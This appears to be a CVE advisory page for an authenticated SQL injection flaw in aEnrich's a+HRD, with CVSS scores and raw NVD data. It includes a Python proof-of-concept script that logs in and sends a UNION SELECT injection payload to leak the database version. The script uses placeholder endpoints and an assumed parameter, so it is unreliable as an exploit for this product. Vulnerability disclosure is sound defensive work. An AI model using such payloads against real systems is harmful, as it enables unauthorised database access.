Security Vulnerability Report
中文
CVE-2026-6833 CVSS 6.5 MEDIUM

CVE-2026-6833

Published: 2026-04-22 04:16:07
Last Modified: 2026-04-29 20:46:34

Description

The a+HRD developed by aEnrich has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

未明确指定 (请参考厂商通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_sql_injection(target_url, username, password): """ PoC for CVE-2026-6833: SQL Injection in a+HRD. Note: Requires valid credentials (Low Privilege). """ session = requests.Session() # Step 1: Login (Authentication required) login_payload = { 'username': username, 'password': password } # Assuming a login endpoint exists login_resp = session.post(f"{target_url}/login.php", data=login_payload) if login_resp.status_code != 200: print("Login failed or endpoint incorrect.") return # Step 2: Send Payload # Example payload to extract database version # Attacker needs to identify the vulnerable parameter (e.g., 'id') injection_payload = { 'id': "1' UNION SELECT NULL, version(), NULL-- -" } vuln_url = f"{target_url}/vulnerable_page.php" response = session.get(vuln_url, params=injection_payload) # Step 3: Check response if "mysql" in response.text or "5." in response.text: print("[+] Potential SQL Injection found. Database version leaked.") else: print("[-] Vulnerability not confirmed.") # Usage # check_sql_injection("http://target-ip", "user", "pass")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6833", "sourceIdentifier": "[email protected]", "published": "2026-04-22T04:16:07.303", "lastModified": "2026-04-29T20:46:33.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The a+HRD developed by aEnrich has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10834-eb3ee-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10833-e3a53-1.html", "source": "[email protected]"}]}}